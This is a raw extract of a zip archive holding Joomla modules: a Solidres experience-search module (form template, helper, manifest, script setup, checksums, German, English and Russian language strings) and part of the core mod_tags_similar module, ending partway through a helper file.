                    <div class="<?php echo SR_UI_GRID_COL_12; ?>">
                        <label for="category_id">
							<?php echo JText::_('SR_FIELD_CATEGORY') ?>
                        </label>
                        <select name="category_id" class="input-block-level form-control">
                            <option value=""><?php echo JText::_('SR_FIELD_CATEGORY_SELECT') ?></option>
							<?php foreach ($categories as $category): ?>
                                <option value="<?php echo $category->id; ?>"
									<?php echo $selected == $category->id ? ' selected' : ''; ?>>
									<?php echo $category->name; ?>
                                </option>
							<?php endforeach; ?>
                        </select>
                    </div>
                </div>
			<?php endif; ?>

			<?php if ($showBaseLocation): ?>
                <div class="<?php echo SR_UI_GRID_CONTAINER; ?>">
                    <div class="<?php echo SR_UI_GRID_COL_12; ?>">
                        <label for="base_location">
							<?php echo JText::_('SR_BASE_LOCATION_LABEL') ?>
                        </label>
						<?php if ($baseLocationFieldType):
							$selected = $input->getString('base_location');
							?>
                            <select name="base_location" class="input-block-level form-control">
								<?php foreach ($baseLocationOptions as $option): ?>
                                    <option value="<?php echo htmlspecialchars($option, ENT_COMPAT, 'UTF-8'); ?>"
										<?php echo $selected == $option ? ' selected' : ''; ?>>
										<?php echo $option; ?>
                                    </option>
								<?php endforeach; ?>
                            </select>
						<?php else: ?>
                            <input type="text" class="input-block-level form-control" name="base_location"
                                   value="<?php echo $input->getString('base_location', $baseLocationDefaultValue); ?>"/>
						<?php endif; ?>
                    </div>
                </div>
			<?php endif; ?>

			<?php if ($showEndLocation): ?>
                <div class="<?php echo SR_UI_GRID_CONTAINER; ?>">
                    <div class="<?php echo SR_UI_GRID_COL_12; ?>">
                        <label for="end_location">
							<?php echo JText::_('SR_END_LOCATION_LABEL'); ?>
                        </label>
						<?php if ($endLocationFieldType):
							$selected = $input->getString('end_location');
							?>
                            <select name="end_location" class="input-block-level form-control">
								<?php foreach ($endLocationOptions as $option): ?>
                                    <option value="<?php echo htmlspecialchars($option, ENT_COMPAT, 'UTF-8'); ?>"
										<?php echo $selected == $option ? ' selected' : ''; ?>>
										<?php echo $option; ?>
                                    </option>
								<?php endforeach; ?>
                            </select>
						<?php else: ?>
                            <input type="text" class="input-block-level form-control" name="end_location"
                                   value="<?php echo $input->getString('end_location', $endLocationDefaultValue); ?>"/>
						<?php endif; ?>
                    </div>
                </div>
			<?php endif; ?>

			<?php if ($showRangeBox && !empty($filterRange)):
				$range = explode('-', $input->getString('range', '-'), 2);
				$minRage = (float) $range[0];
				$maxRage = (float) $range[1];
				?>
                <div class="<?php echo SR_UI_GRID_CONTAINER; ?>">
                    <div class="<?php echo SR_UI_GRID_COL_12; ?>">
                        <label for="range_by_prices">
							<?php echo JText::_('SR_RANGE_BY_PRICES'); ?>
                        </label>
                        <select name="range" class="input-block-level form-control">
                            <option value=""></option>
							<?php foreach ($filterRange as $range):
								$min = $range[0];
								$max = $range[1];
								$selected = $min == $minRage && $max == $maxRage ? ' selected="selected"' : '';
								?>
                                <option value="<?php echo $min . ',' . $max; ?>"<?php echo $selected; ?>>
									<?php
									if ($min > 0.00 && $max > 0.00)
									{
										echo SRExperienceHelper::priceFormat($min) . ' - ' . SRExperienceHelper::priceFormat($max);
									}
                                    elseif ($min < 0.01 && $max > 0.00)
									{
										echo '< ' . SRExperienceHelper::priceFormat($max);
									}
                                    elseif ($min > 0.00 && $max < 0.01)
									{
										echo '> ' . SRExperienceHelper::priceFormat($min);
									}

									?>
                                </option>
							<?php endforeach; ?>
                        </select>
                    </div>
                </div>
			<?php endif; ?>

			<?php if ($rangeByDate): ?>
                <div class="<?php echo SR_UI_GRID_CONTAINER; ?>">
                    <div class="<?php echo SR_UI_GRID_COL_12; ?>">
                        <label>
							<?php echo JText::_('SR_EXP_SEARCH_FROM_DATE'); ?>
                            <input type="text" id="srFromDate" class="input-block-level form-control"
                                   value="<?php echo $fromDateJS; ?>"/>
                            <input type="hidden" name="fromDate" id="srFromDateValue"
                                   value="<?php echo $fromDateValue; ?>"/>
                        </label>
                        <label>
							<?php echo JText::_('SR_EXP_SEARCH_TO_DATE'); ?>
                            <input type="text" id="srToDate" class="input-block-level form-control"
                                   value="<?php echo $toDateJS; ?>"/>
                            <input type="hidden" name="toDate" id="srToDateValue" value="<?php echo $toDateValue; ?>"/>
                        </label>
                    </div>
                </div>
			<?php endif; ?>

            <div class="<?php echo SR_UI_GRID_CONTAINER; ?>">
                <div class="<?php echo SR_UI_GRID_COL_12; ?>">
                    <div class="action">
                        <button class="btn btn-block btn-default primary" type="submit">
                            <i class="fa fa-search"></i>
							<?php echo JText::_('SR_SEARCH') ?>
                        </button>
                    </div>
                </div>
            </div>

        </fieldset>
        <input type="hidden" name="Itemid" value="<?php echo (int) $params->get('Itemid'); ?>"/>
		<?php echo JHtml::_('form.token'); ?>
    </form>
</div>PK! ܷ���#mod_sr_experience_search/helper.phpnu&1i�<?php
/*------------------------------------------------------------------------
  Solidres - Hotel booking extension for Joomla
  ------------------------------------------------------------------------
  @Author    Solidres Team
  @Website   http://www.solidres.com
  @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved.
  @License   GNU General Public License version 3, or later
------------------------------------------------------------------------*/

defined('_JEXEC') or die;

class ModSRExperienceSearchHelper
{
	public static function getFilterRangeByPrice()
	{
		static $filterRange;

		if (null === $filterRange)
		{
			$app               = JFactory::getApplication('site');
			$currentCurrencyId = $app->input->cookie->get('solidres_currency', 0, 'int');

			if (!$currentCurrencyId)
			{
				$currentCurrencyId = JComponentHelper::getParams('com_solidres')->get('default_currency_id', 0);
			}

			$db    = JFactory::getDbo();
			$query = $db->getQuery(true)
				->select('filter_range')
				->from('#__sr_currencies')
				->where('id = ' . (int) $currentCurrencyId);
			$db->setQuery($query);
			$filterRange = explode("\r\n", $db->loadResult());
			foreach ($filterRange as &$range)
			{
				$temp  = explode('-', preg_replace('/\s+/', '', $range), 2);
				$range = array((float) $temp[0], (float) $temp[1]);
			}
		}

		return $filterRange;
	}

	public static function getLocations($type)
	{
		static $locations = array();

		if (!isset($locations[$type]))
		{
			$db                 = JFactory::getDbo();
			$query              = $db->getQuery(true);
			$solidresConfig     = JComponentHelper::getParams('com_solidres');
			$isMultilingualMode = $solidresConfig->get('enable_multilingual_mode', 1);
			$lang               = JFactory::getLanguage();

			if ($isMultilingualMode && ($lang->getDefault() != $lang->getTag()) && JComponentHelper::isEnabled('com_falang'))
			{
				$lang      = JFactory::getLanguage();
				$langTable = JTable::getInstance('Language', 'JTable');
				$langTable->load(array('lang_code' => $lang->getTag()));
				$query->select('DISTINCT a.value')
					->from($db->qn('#__falang_content', 'a'))
					->where('a.reference_table = ' . $db->q('sr_experiences'))
					->where('a.reference_field = ' . $db->q($type . '_location'))
					->where('language_id = ' . $langTable->lang_id);
			}
			else
			{
				$query->select('DISTINCT a.' . $type . '_location')
					->from($db->qn('#__sr_experiences', 'a'))
					->where('a.state = 1');
			}

			$db->setQuery($query);

			$columns          = $db->loadColumn();
			$locations[$type] = $columns ? $columns : array();
		}

		return $locations[$type];
	}

	public static function getCategories($ids)
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('a.id, a.name')
			->from($db->qn('#__sr_experience_categories', 'a'));

		if (!empty($ids))
		{
			$query->where('a.id IN (' . join(',', Joomla\Utilities\ArrayHelper::toInteger($ids)) . ')');
		}

		$db->setQuery($query);

		return $db->loadObjectList();
	}

}PK!�n2�#�#5mod_sr_experience_search/mod_sr_experience_search.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
    <name>mod_sr_experience_search</name>
    <author>Solidres</author>
    <creationDate>Mar 2018</creationDate>
    <copyright>Copyright (C) 2013 - 2018 Solidres. All rights reserved.</copyright>
    <license>GNU General Public License version 3, or later</license>
    <authorEmail>contact@solidres.com</authorEmail>
    <authorUrl>http://www.solidres.com</authorUrl>
    <version>0.6.0</version>
    <description>MOD_SR_EXPERIENCE_SEARCH_XML_DESCRIPTION</description>

    <files>
        <filename module="mod_sr_experience_search">mod_sr_experience_search.php</filename>
        <filename>mod_sr_experience_search.xml</filename>
        <filename>helper.php</filename>
        <filename>checksums</filename>
        <folder>tmpl</folder>
        <folder>language</folder>
    </files>

    <config>
        <fields name="params">
            <fieldset name="basic"
                      addfieldpath="/plugins/solidres/experience/administrator/components/com_solidres/models/fields">
                <field
                        name="Itemid"
                        type="menuitem"
                        default=""
                        label="SR_FIELD_ITEM_ID_LABEL"
                        description="SR_FIELD_ITEM_ID_DESC">
                    <option value="">JNO</option>
                </field>
                <field
                        name="searchByCategory"
                        type="radio"
                        label="SR_FIELD_SEARCH_BY_CATEGORY_LABEL"
                        description="SR_FIELD_SEARCH_BY_CATEGORY_DESC"
                        class="btn-group btn-group-yesno"
                        default="0">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field
                        name="categoryIds"
                        type="expcategory"
                        label="SR_FIELD_CATEGORIES_SELECT_LABEL"
                        description="SR_FIELD_CATEGORIES_SELECT_DESC"
                        multiple="true"
                        showon="searchByCategory:1"/>
                <field
                        type="spacer"
                        hr="true"/>
                <field
                        name="rangeBox"
                        type="radio"
                        label="SR_SHOW_RANGE_BOX_LABEL"
                        description="SR_SHOW_RANGE_BOX_DESC"
                        class="btn-group btn-group-yesno"
                        default="1">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field
                        type="spacer"
                        hr="true"/>
                <field
                        name="baseLocationBox"
                        type="radio"
                        label="SR_FIELD_BASE_LOCATION_LABEL"
                        description="SR_FIELD_BASE_LOCATION_DESC"
                        class="btn-group btn-group-yesno"
                        default="1">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field
                        name="base_location_field_type"
                        type="list"
                        label="SR_EXP_LOCATION_FIELD_TYPE"
                        default="0"
                        showon="baseLocationBox:1">
                    <option value="0">SR_EXP_LOCATION_FIELD_TEXT</option>
                    <option value="1">SR_EXP_LOCATION_FIELD_LIST</option>
                </field>
                <field
                        name="base_location_text_default"
                        type="text"
                        label="SR_EXP_LOCATION_TEXT_DEFAULT_VALUE"
                        showon="baseLocationBox:1[AND]base_location_field_type:0"/>
                <field
                        name="base_location_auto_complete"
                        type="radio"
                        label="SR_EXP_LOCATION_AUTO_COMPLETE"
                        class="btn-group btn-group-yesno"
                        default="0"
                        showon="baseLocationBox:1[AND]base_location_field_type:0">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field
                        name="base_location_list_values"
                        type="textarea"
                        label="SR_EXP_LOCATION_LIST_VALUES"
                        rows="5"
                        cols="25"
                        showon="baseLocationBox:1[AND]base_location_field_type:1"/>
                <field
                        type="spacer"
                        hr="true"/>
                <field
                        name="endLocationBox"
                        type="radio"
                        label="SR_FIELD_END_LOCATION_LABEL"
                        description="SR_FIELD_END_LOCATION_DESC"
                        class="btn-group btn-group-yesno"
                        default="1">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field
                        name="end_location_field_type"
                        type="list"
                        label="SR_EXP_LOCATION_FIELD_TYPE"
                        default="0"
                        showon="endLocationBox:1">
                    <option value="0">SR_EXP_LOCATION_FIELD_TEXT</option>
                    <option value="1">SR_EXP_LOCATION_FIELD_LIST</option>
                </field>
                <field
                        name="end_location_text_default"
                        type="text"
                        label="SR_EXP_LOCATION_TEXT_DEFAULT_VALUE"
                        showon="endLocationBox:1[AND]end_location_field_type:0"/>
                <field
                        name="end_location_auto_complete"
                        type="radio"
                        label="SR_EXP_LOCATION_AUTO_COMPLETE"
                        class="btn-group btn-group-yesno"
                        default="0"
                        showon="endLocationBox:1[AND]end_location_field_type:0">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field
                        name="end_location_list_values"
                        type="textarea"
                        label="SR_EXP_LOCATION_LIST_VALUES"
                        rows="5"
                        cols="25"
                        showon="endLocationBox:1[AND]end_location_field_type:1"/>
                <field
                        name="range_by_date"
                        type="radio"
                        label="SR_EXP_SEARCH_RANGE_BY_DATE_LABEL"
                        description="SR_EXP_SEARCH_RANGE_BY_DATE_DESC"
                        class="btn-group btn-group-yesno"
                        default="0"
                        filter="uint">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
            </fieldset>
            <fieldset
                    name="advanced">
                <field
                        name="layout"
                        type="modulelayout"
                        label="JFIELD_ALT_LAYOUT_LABEL"
                        description="JFIELD_ALT_MODULE_LAYOUT_DESC"/>

                <field
                        name="moduleclass_sfx"
                        type="textarea" rows="3"
                        label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
                        description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"/>

                <field
                        name="cache"
                        type="list"
                        default="1"
                        label="COM_MODULES_FIELD_CACHING_LABEL"
                        description="COM_MODULES_FIELD_CACHING_DESC">
                    <option
                            value="1">JGLOBAL_USE_GLOBAL
                    </option>
                    <option
                            value="0">COM_MODULES_FIELD_VALUE_NOCACHING
                    </option>
                </field>

                <field
                        name="cache_time"
                        type="text"
                        default="900"
                        label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
                        description="COM_MODULES_FIELD_CACHE_TIME_DESC"/>
                <field
                        name="cachemode"
                        type="hidden"
                        default="static">
                    <option
                            value="static"></option>
                </field>
            </fieldset>
        </fields>
    </config>
</extension>
PK!
�O?��5mod_sr_experience_search/mod_sr_experience_search.phpnu&1i�<?php
/*------------------------------------------------------------------------
  Solidres - Hotel booking extension for Joomla
  ------------------------------------------------------------------------
  @Author    Solidres Team
  @Website   http://www.solidres.com
  @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved.
  @License   GNU General Public License version 3, or later
------------------------------------------------------------------------*/

defined('_JEXEC') or die;

require_once __DIR__ . '/helper.php';

$moduleclass_sfx  = htmlspecialchars($params->get('moduleclass_sfx'));
$filterRange      = ModSRExperienceSearchHelper::getFilterRangeByPrice();
$showBaseLocation = $params->get('baseLocationBox', 1);
$showEndLocation  = $params->get('endLocationBox', 1);
$showRangeBox     = $params->get('rangeBox', 1);
$searchByCategory = $params->get('searchByCategory', 0);
$rangeByDate      = $params->get('range_by_date', 0);
$colWidth         = 12 / ($showBaseLocation + $showEndLocation + $showRangeBox + 1);
$colWidth         = constant('SR_UI_GRID_COL_' . $colWidth);
$appendScript     = '';

if ($searchByCategory)
{
	$categories = ModSRExperienceSearchHelper::getCategories((array) $params->get('categoryIds', array()));
}

if ($showBaseLocation)
{
	$baseLocationFieldType = $params->get('base_location_field_type', 0);

	if ($baseLocationFieldType)
	{
		$baseLocationOptions = array_unique(preg_split('/\r\n|\n|;/', $params->get('base_location_list_values')));
	}
	else
	{
		$baseLocationDefaultValue = trim($params->get('base_location_text_default'));

		if ($params->get('base_location_auto_complete', 0))
		{
			$appendScript .= '
				$("input[name=base_location]").autocomplete({
					source: ' . json_encode(ModSRExperienceSearchHelper::getLocations('base')) . '
				});
			';
		}
	}
}

if ($showEndLocation)
{
	$endLocationFieldType = $params->get('end_location_field_type', 0);

	if ($endLocationFieldType)
	{
		$endLocationOptions = array_unique(preg_split('/\r\n|\n|;/', $params->get('end_location_list_values')));
	}
	else
	{
		$endLocationDefaultValue = trim($params->get('end_location_text_default'));

		if ($params->get('end_location_auto_complete', 0))
		{
			$appendScript .= '
				$("input[name=end_location]").autocomplete({
					source: ' . json_encode(ModSRExperienceSearchHelper::getLocations('end')) . '
				});
			';
		}
	}
}

if ($rangeByDate)
{
	$input         = JFactory::getApplication()->input;
	$config        = JComponentHelper::getParams('com_solidres');
	$dateFormat    = $config->get('date_format', 'd-m-Y');
	$jsDateFormat  = SRUtilities::convertDateFormatPattern($dateFormat);
	$fromDate      = trim($input->getString('fromDate', ''));
	$toDate        = trim($input->getString('toDate', ''));
	$fromDateValue = $toDateValue = $fromDateJS = $toDateJS = '';


	if (!empty($fromDate) && !empty($toDate))
	{
		try
		{
			$fromDate      = JFactory::getDate($fromDate);
			$toDate        = JFactory::getDate($toDate);
			$fromDateJS    = $fromDate->format($dateFormat, false, false);
			$fromDateValue = $fromDate->format('Y-m-d', false, false);
			$toDateJS      = $toDate->format($dateFormat, false, false);
			$toDateValue   = $toDate->format('Y-m-d', false, false);
		}
		catch (Exception $e)
		{
			$fromDateValue = $toDateValue = $fromDateJS = $toDateJS = '';
		}
	}

	$months       = (int) $config->get('datepicker_month_number', 3);
	$appendScript .= '
				var 
					dateFormat = "' . $jsDateFormat . '",
				    addDate = function (d, v) {
                        d.setDate(d.getDate() + v);
                        return d;
                    },
                    decodeHtml = function (maybeHtml) {
                        var textarea = document.createElement("textarea");
                        textarea.innerHTML = maybeHtml;
                        return textarea.value;
                    },
                    from = $("#srFromDate"),
                    to = $("#srToDate");
                from.removeClass("hasDatepicker")
		            .datepicker({
		                dateFormat: dateFormat,
		                defaultDate: "+1d",
		                numberOfMonths: ' . $months . ',
		                altField: "#srFromDateValue",
		                altFormat: "yy-mm-dd",
		                minDate: "+1d",
		                onSelect: function (a, b) {
		                    var d = $.datepicker.parseDate("yy-mm-dd", $("#srFromDateValue").val());
		                    to.datepicker("option", "minDate", addDate(d, 1));
		                    this.value = decodeHtml(this.value);
		                    to.val(decodeHtml(to.val()));
		                }
		            });
		        to.removeClass("hasDatepicker").datepicker({
		            dateFormat: dateFormat,
		            defaultDate: "+2d",
		            minDate: "+2d",
		            numberOfMonths: ' . $months . ',
		            altField: "#srToDateValue",
		            altFormat: "yy-mm-dd",
		            onSelect: function () {
		                var d = $.datepicker.parseDate("yy-mm-dd", $("#srToDateValue").val());
		                from.datepicker("option", "maxDate", addDate(d, -1));
		                this.value = decodeHtml(this.value);
		                from.val(decodeHtml(from.val()));
		            }
		        });
		        
		        if($("#srFromDateValue").val() == "" || $("#srToDateValue").val() == ""){
		            var date = new Date();
	                date = addDate(date, 1);
	                from.val(decodeHtml($.datepicker.formatDate(dateFormat, date)));
	                $("#srFromDateValue").val($.datepicker.formatDate("yy-mm-dd", date));
	                date = addDate(date, 1);
	                to.val(decodeHtml($.datepicker.formatDate(dateFormat, date)));
	                $("#srToDateValue").val($.datepicker.formatDate("yy-mm-dd", date));
		        }                
			';
}

if (!empty($appendScript))
{
	SRHtml::_('jquery.ui');

	JFactory::getDocument()->addScriptDeclaration('Solidres.jQuery(function($){' . trim($appendScript) . '});');
}

require JModuleHelper::getLayoutPath('mod_sr_experience_search', $params->get('layout', 'default'));PK!,�ݲww"mod_sr_experience_search/checksumsnu&1i�f5d790834605a6d6fd6834eed101436e modules/mod_sr_experience_search/helper.php
90093ca4524ccb473a088b6e7f6e262e modules/mod_sr_experience_search/language/de-DE/de-DE.mod_sr_experience_search.ini
f66a27242a6b79e3b2063c60f5350788 modules/mod_sr_experience_search/language/de-DE/de-DE.mod_sr_experience_search.sys.ini
a5204b37477fc725563128206a2a295e modules/mod_sr_experience_search/language/en-GB/en-GB.mod_sr_experience_search.ini
54a8b9c868b97107a6c54548b6859f30 modules/mod_sr_experience_search/language/en-GB/en-GB.mod_sr_experience_search.sys.ini
1bcb7400126dd1b5254381749d12cb8c modules/mod_sr_experience_search/language/ru-RU/ru-RU.mod_sr_experience_search.ini
95568d381cc4652a8d2ba35f6bbda7c3 modules/mod_sr_experience_search/language/ru-RU/ru-RU.mod_sr_experience_search.sys.ini
41a94e3de2f4e006bf1b592dbae986bc modules/mod_sr_experience_search/mod_sr_experience_search.php
ef2659c8706509a126085b3ef85ba885 modules/mod_sr_experience_search/mod_sr_experience_search.xml
a6cfae6c52525ae07a5636a6012836fe modules/mod_sr_experience_search/tmpl/default.php
6144a2170759647153aa0b15ef41142f modules/mod_sr_experience_search/tmpl/horizontal.phpPK!�P��Nmod_sr_experience_search/language/de-DE/de-DE.mod_sr_experience_search.sys.ininu&1i�MOD_SR_EXPERIENCE_SEARCH="Solidres - Modul Erlebnis Suche"
MOD_SR_EXPERIENCE_SEARCH_XML_DESCRIPTION="Dieses Modul zeigt ein Suchformular für Erlebnisse im Front End"PK!A��i99Jmod_sr_experience_search/language/de-DE/de-DE.mod_sr_experience_search.ininu&1i�MOD_SR_EXPERIENCE_SEARCH="Solidres - Modul Erlebnis Suche"
MOD_SR_EXPERIENCE_SEARCH_XML_DESCRIPTION="Dieses Modul zeigt ein Suchformular für Erlebnisse im Front End"
SR_FIELD_ITEM_ID_LABEL="Menü Artikel ID"
SR_FIELD_ITEM_ID_DESC="Wähle ein Menü"
SR_FIELD_BASE_LOCATION_LABEL="Basisort"
SR_FIELD_BASE_LOCATION_DESC="Basisort"
SR_FIELD_END_LOCATION_LABEL="Zielort"
SR_FIELD_END_LOCATION_DESC="Zielort"
SR_SHOW_RANGE_BOX_LABEL="Zeige Suche nach Preisspanne"
SR_SHOW_RANGE_BOX_DESC="Zeige Suche nach Preisspanne"
SR_EXP_LOCATION_FIELD_TYPE="Ortsfeld Typ"
SR_EXP_LOCATION_FIELD_TEXT="Text"
SR_EXP_LOCATION_FIELD_LIST="Liste"
SR_EXP_LOCATION_TEXT_DEFAULT_VALUE="Standardwert"
SR_EXP_LOCATION_LIST_VALUES="Wähle Werte"
SR_EXP_LOCATION_AUTO_COMPLETE="Ort automatische Vervollständigung"
SR_FIELD_SEARCH_BY_CATEGORY_LABEL="Suche nach Kategorie"
SR_FIELD_SEARCH_BY_CATEGORY_DESC="Suche nach Kategorie"
SR_FIELD_CATEGORIES_SELECT_LABEL="Wähle Kategorien"
SR_FIELD_CATEGORIES_SELECT_DESC="Wähle Kategorien"
SR_FIELD_CATEGORY_SELECT="Wähle eine Kategorie"
SR_FIELD_CATEGORY="Kategorie"PK!��-���Nmod_sr_experience_search/language/en-GB/en-GB.mod_sr_experience_search.sys.ininu&1i�MOD_SR_EXPERIENCE_SEARCH="Solidres - Module experience search"
MOD_SR_EXPERIENCE_SEARCH_XML_DESCRIPTION="This modules show a search form in front end to search for experience"PK!"
2eeJmod_sr_experience_search/language/en-GB/en-GB.mod_sr_experience_search.ininu&1i�MOD_SR_EXPERIENCE_SEARCH="Solidres - Module experience search"
MOD_SR_EXPERIENCE_SEARCH_XML_DESCRIPTION="This modules show a search form in front end to search for experience"
SR_FIELD_ITEM_ID_LABEL="Menu item Id"
SR_FIELD_ITEM_ID_DESC="Select a menu"
SR_FIELD_BASE_LOCATION_LABEL="Base location"
SR_FIELD_BASE_LOCATION_DESC="Base location"
SR_FIELD_END_LOCATION_LABEL="End location"
SR_FIELD_END_LOCATION_DESC="End location"
SR_SHOW_RANGE_BOX_LABEL="Show search by price range"
SR_SHOW_RANGE_BOX_DESC="Show search by price range"
SR_EXP_LOCATION_FIELD_TYPE="Location field type"
SR_EXP_LOCATION_FIELD_TEXT="Text"
SR_EXP_LOCATION_FIELD_LIST="List"
SR_EXP_LOCATION_TEXT_DEFAULT_VALUE="Default value"
SR_EXP_LOCATION_LIST_VALUES="Select values"
SR_EXP_LOCATION_AUTO_COMPLETE="Location autocomplete"
SR_FIELD_SEARCH_BY_CATEGORY_LABEL="Search by category"
SR_FIELD_SEARCH_BY_CATEGORY_DESC="Search by category"
SR_FIELD_CATEGORIES_SELECT_LABEL="Select categories"
SR_FIELD_CATEGORIES_SELECT_DESC="Select categories"
SR_FIELD_CATEGORY_SELECT="Select a category"
SR_FIELD_CATEGORY="Category"
SR_EXP_SEARCH_RANGE_BY_DATE_LABEL="Search by date range"
SR_EXP_SEARCH_RANGE_BY_DATE_DESC="Enter the date range to search for, only experiences that have available dates in the date range will be showed up in the search result."
SR_EXP_SEARCH_FROM_DATE="From date"
SR_EXP_SEARCH_TO_DATE="To date"PK!�G�G{{Jmod_sr_experience_search/language/ru-RU/ru-RU.mod_sr_experience_search.ininu&1i�MOD_SR_EXPERIENCE_SEARCH="Solidres - Модуль Experience Search"
MOD_SR_EXPERIENCE_SEARCH_XML_DESCRIPTION="Этот модуль показывает форму поиска экскурсий на экране"
SR_FIELD_ITEM_ID_LABEL="Меню ID"
SR_FIELD_ITEM_ID_DESC="Выберите меню"
SR_FIELD_BASE_LOCATION_LABEL="Базовое местоположение"
SR_FIELD_BASE_LOCATION_DESC=""
SR_FIELD_END_LOCATION_LABEL="Конечное местоположение"
SR_FIELD_END_LOCATION_DESC=""
SR_SHOW_RANGE_BOX_LABEL="Показать поиск по ценовому диапазону"
SR_SHOW_RANGE_BOX_DESC=""PK!�sNR��Nmod_sr_experience_search/language/ru-RU/ru-RU.mod_sr_experience_search.sys.ininu&1i�MOD_SR_EXPERIENCE_SEARCH="Solidres - Модуль Experience Search"
MOD_SR_EXPERIENCE_SEARCH_XML_DESCRIPTION="Этот модуль показывает форму поиска экскурсий на экране"PK!K�q��%mod_tags_similar/mod_tags_similar.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_tags_similar
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;

$cacheparams = new \stdClass;
$cacheparams->cachemode = 'safeuri';
$cacheparams->class = 'Joomla\Module\TagsSimilar\Site\Helper\TagsSimilarHelper';
$cacheparams->method = 'getList';
$cacheparams->methodparams = $params;
$cacheparams->modeparams = array('id' => 'array', 'Itemid' => 'int');

$list = ModuleHelper::moduleCache($module, $params, $cacheparams);

require ModuleHelper::getLayoutPath('mod_tags_similar', $params->get('layout', 'default'));
PK!��#���!mod_tags_similar/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_tags_similar
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Router\Route;

if (!$list)
{
	return;
}

?>
<ul class="mod-tagssimilar tagssimilar mod-list">
	<?php foreach ($list as $i => $item) : ?>
	<li>
		<?php if (($item->type_alias === 'com_users.category') || ($item->type_alias === 'com_banners.category')) : ?>
			<?php if (!empty($item->core_title)) : ?>
				<?php echo htmlspecialchars($item->core_title, ENT_COMPAT, 'UTF-8'); ?>
			<?php endif; ?>
		<?php else : ?>
			<a href="<?php echo Route::_($item->link); ?>">
				<?php if (!empty($item->core_title)) : ?>
					<?php echo htmlspecialchars($item->core_title, ENT_COMPAT, 'UTF-8'); ?>
				<?php endif; ?>
			</a>
		<?php endif; ?>
	</li>
	<?php endforeach; ?>
</ul>
PK!���11%mod_tags_similar/mod_tags_similar.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_tags_similar</name>
	<author>Joomla! Project</author>
	<creationDate>January 2013</creationDate>
	<copyright>(C) 2013 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.1.0</version>
	<description>MOD_TAGS_SIMILAR_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\TagsSimilar</namespace>
	<files>
		<filename module="mod_tags_similar">mod_tags_similar.php</filename>
		<folder>src</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_tags_similar.ini</language>
		<language tag="en-GB">language/en-GB/mod_tags_similar.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_TAGS_SIMILAR" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="maximum"
					type="integer"
					label="MOD_TAGS_SIMILAR_MAX_LABEL"
					default="5"
					filter="integer"
					first="1"
					last="20"
					step="1"
				/>

				<field
					name="matchtype"
					type="list"
					label="MOD_TAGS_SIMILAR_FIELD_MATCHTYPE_LABEL"
					description="MOD_TAGS_SIMILAR_FIELD_MATCHTYPE_DESC"
					default="any"
					validate="options"
					>
					<option value="all">MOD_TAGS_SIMILAR_FIELD_ALL</option>
					<option value="any">MOD_TAGS_SIMILAR_FIELD_ONE</option>
					<option value="half">MOD_TAGS_SIMILAR_FIELD_HALF</option>
				</field>

				<field
					name="ordering"
					type="list"
					label="MOD_TAGS_SIMILAR_FIELD_ORDERING_LABEL"
					default="count"
					validate="options"
					>
					<option value="count">MOD_TAGS_SIMILAR_FIELD_ORDERING_COUNT</option>
					<option value="random">MOD_TAGS_SIMILAR_FIELD_ORDERING_RANDOM</option>
					<option value="countrandom">MOD_TAGS_SIMILAR_FIELD_ORDERING_COUNT_AND_RANDOM</option>
				</field>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>

				<field
					name="owncache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					default="1"
					filter="integer"
					validate="options"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					default="900"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!�9>L��mod_tags_similar/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_tags_similar
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JLoader::register('TagsHelperRoute', JPATH_BASE . '/components/com_tags/helpers/route.php');

/**
 * Helper for mod_tags_similar
 *
 * @since  3.1
 */
abstract class ModTagssimilarHelper
{
	/**
